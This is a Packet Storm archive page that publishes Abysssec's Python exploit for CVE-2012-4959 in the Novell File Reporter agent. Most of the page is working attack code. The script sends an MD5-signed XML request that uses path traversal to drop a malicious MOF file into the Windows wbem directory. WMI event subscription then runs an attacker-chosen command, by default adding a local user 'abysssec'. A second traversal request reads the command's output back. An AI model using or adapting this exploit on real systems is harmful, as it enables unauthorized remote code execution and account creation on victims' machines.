exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Novell File Reporter Code Execution

Novell File Reporter Code Execution
Posted Dec 12, 2012
Authored by Abysssec | Site abysssec.com

Novell File Reporter agent XML parsing remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2012-4959
SHA-256 | d97019b8d30cf82a531d15b67988c264ae384da68ddc63da71ca44d3e9fc1cd0

Novell File Reporter Code Execution

Change Mirror Download
# wwww.abysssec.com
# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit

import httplib, md5, sys

def message_MD5(arg):
v = "SRS" + arg + "SERVER"
m = md5.new(v)
return m.hexdigest()

def genMof(command="net user abysssec 123456 /add"):

vbs = ""
vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n"
vbs += "\"objShell.Run \\\"cmd.exe /C "
vbs += command
vbs += "\\\"\""


mof = """
#pragma namespace ("\\\\\\\\.\\\\root\\\\subscription")
#pragma deleteclass("MyASEventConsumer", nofail)
#pragma deleteinstance("__EventFilter.Name=\\\"EF\\\"", nofail)
#pragma deleteinstance("ActiveScriptEventConsumer.Name=\\\"ASEC\\\"", nofail)

class MyASEventConsumer
{
[key]string Name;
};

instance of ActiveScriptEventConsumer as $CONSUMER
{
CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
Name = "ASEC";
ScriptingEngine = "VBScript";
ScriptText =
SCRIPT;
};

instance of __EventFilter as $FILTER
{
CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
Name = "EF";
Query = "SELECT * FROM __InstanceCreationEvent"
" WHERE TargetInstance.__class = \\"MyASEventConsumer\\"";
QueryLanguage = "WQL";
};

instance of __FilterToConsumerBinding as $BINDING
{
CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
Filter = $FILTER;
Consumer = $CONSUMER;
};

instance of MyASEventConsumer
{
Name = "Trigger";
};
""".replace('SCRIPT',vbs)

return mof

def main(argv=None):
if argv is None:
argv = sys.argv

if len(argv) != 2:
print "[!] USAGE : mof \"<command]>\""
return

msg = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN><FILE>../../../../../../Windows/system32/wbem/mof/command.mof</FILE></TOKEN><![CDATA["
msg += genMof(argv[1] + "> C:/Windows/System32/info.dat")
msg += "]]></ROOT>"
body = message_MD5(msg).upper() + msg
headers = {"Content-type": "text/xml"}

conn = httplib.HTTPSConnection("192.168.10.20:3037")
conn.request("POST", "/SRS/CMD",body, headers)
response = conn.getresponse()
print "\n...Command Executed ..."
print response.status, response.reason

print response.read()

msg = "<ROOT><NAME>FSFUI</NAME><UICMD>126</UICMD><TOKEN><FILE>../../../../../../WINDOWS/system32/info.dat</FILE></TOKEN></ROOT>"
body = message_MD5(msg).upper() + msg
conn.request("POST", "/SRS/CMD",body, headers)
response = conn.getresponse()
conn.request("POST", "/SRS/CMD",body, headers)
response = conn.getresponse()
print "\n...Getting result ..."
print response.status, response.reason
print response.read()


conn.close()


if __name__ == "__main__":
main()


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close